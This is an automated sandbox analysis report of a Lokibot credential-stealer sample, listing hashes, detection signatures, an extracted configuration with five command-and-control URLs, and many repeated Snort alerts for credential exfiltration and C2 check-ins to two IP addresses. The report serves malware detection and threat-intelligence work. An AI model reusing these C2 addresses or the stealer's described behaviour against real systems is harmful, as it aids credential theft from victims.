Windows Analysis Report aZOmps0Ug8

Overview

General Information

Sample Name: aZOmps0Ug8 (renamed file extension from none to exe)
Analysis ID: 502657
MD5: 70d177abc7455c709ae9710630b9ea49
SHA1: 4d81e55880a35c0157046560eca20b9f528838f4
SHA256: b87ecdb8035fa8b5ce87570d757265182a9f49122a02e77dc7f414816cf4b511
Tags: 32exetrojan
Infos:

Most interesting Screenshot:

Detection

Lokibot
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Detected unpacking (overwrites its own PE header)
Yara detected Lokibot
Detected unpacking (changes PE section rights)
Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Yara detected aPLib compressed binary
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file registry)
Machine Learning detection for sample
Injects a PE file into a foreign processes
C2 URLs / IPs found in malware configuration
Tries to steal Mail credentials (via file access)
Tries to harvest and steal browser information (history, passwords, etc)
Uses 32bit PE files
Yara signature match
Contains functionality to check if a debugger is running (IsDebuggerPresent)
May sleep (evasive loops) to hinder dynamic analysis
Contains functionality to shutdown / reboot the system
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Found potential string decryption / allocating functions
Yara detected Credential Stealer
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
IP address seen in connection with other malware
Enables debug privileges
Sample file is different than original file name gathered from version info
Extensive use of GetProcAddress (often used to hide API calls)
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Creates a process in suspended mode (likely to inject code)
Contains functionality for read data from the clipboard

Classification

AV Detection:

barindex
Found malware configuration
Source: 00000000.00000002.354804964.000000000F030000.00000004.00000001.sdmp Malware Configuration Extractor: Lokibot {"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "http://74f26d34ffff049368a6cff8812f86ee.gq/BN111/fre.php"]}
Multi AV Scanner detection for submitted file
Source: aZOmps0Ug8.exe Virustotal: Detection: 43% Perma Link
Antivirus detection for URL or domain
Source: http://74f26d34ffff049368a6cff8812f86ee.gq/BN111/fre.php Avira URL Cloud: Label: malware
Multi AV Scanner detection for domain / URL
Source: 74f26d34ffff049368a6cff8812f86ee.gq Virustotal: Detection: 13% Perma Link
Source: http://74f26d34ffff049368a6cff8812f86ee.gq/BN111/fre.php Virustotal: Detection: 16% Perma Link
Machine Learning detection for sample
Source: aZOmps0Ug8.exe Joe Sandbox ML: detected

Compliance:

barindex
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Unpacked PE file: 1.2.aZOmps0Ug8.exe.400000.0.unpack
Uses 32bit PE files
Source: aZOmps0Ug8.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Source: Binary string: wntdll.pdbUGP source: aZOmps0Ug8.exe, 00000000.00000003.347212605.000000000F200000.00000004.00000001.sdmp
Source: Binary string: wntdll.pdb source: aZOmps0Ug8.exe, 00000000.00000003.347212605.000000000F200000.00000004.00000001.sdmp
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_00405E93 FindFirstFileA,FindClose, 0_2_00405E93
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_004054BD DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA, 0_2_004054BD
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 0_2_00402671 FindFirstFileA, 0_2_00402671
Source: C:\Users\user\Desktop\aZOmps0Ug8.exe Code function: 1_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW, 1_2_00403D74

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.6:49779 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49779 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49779 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.6:49779 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.6:49780 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49780 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49780 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.6:49780 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49781 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49781 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49781 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49781 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49782 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49782 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49782 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49782 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49783 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49783 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49783 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49783 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49784 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49784 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49784 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49784 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49785 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49785 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49785 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49785 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49786 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49786 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49786 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49786 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49787 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49787 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49787 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49787 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49788 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49788 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49788 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49788 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49789 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49789 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49789 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49789 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49790 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49790 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49790 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49790 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49791 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49791 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49791 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49791 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49792 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49792 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49792 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49792 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49793 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49793 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49793 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49793 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49794 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49794 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49794 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49794 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49795 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49795 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49795 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49795 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49798 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49798 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49798 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49798 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49799 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49799 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49799 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49799 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49800 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49800 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49800 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49800 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49801 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49801 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49801 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49801 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49802 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49802 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49802 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49802 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49803 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49803 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49803 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49803 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49804 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49804 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49804 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49804 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49805 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49805 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49805 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49805 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49806 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49806 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49806 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49806 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49807 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49807 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49807 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49807 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49808 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49808 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49808 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49808 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49810 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49810 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49810 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49810 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49811 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49811 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49811 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49811 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49812 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49812 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49812 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49812 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49813 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49813 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49813 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49813 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49814 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49814 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49814 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49814 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49815 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49815 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49815 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49815 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49816 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49816 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49816 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49816 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49817 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49817 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49817 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49817 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49820 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49820 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49820 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49820 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49826 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49826 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49826 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49826 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49834 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49834 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49834 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49834 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49843 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49843 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49843 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49843 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49853 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49853 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49853 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49853 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49860 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49860 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49860 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49860 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49863 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49863 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49863 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49863 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49864 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49864 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49864 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49864 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49870 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49870 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49870 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49870 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49871 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49871 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49871 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49871 -> 104.21.62.32:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49872 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49872 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49872 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49872 -> 172.67.219.104:80
Source: Traffic Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49873 -> 104.21.62.32:80
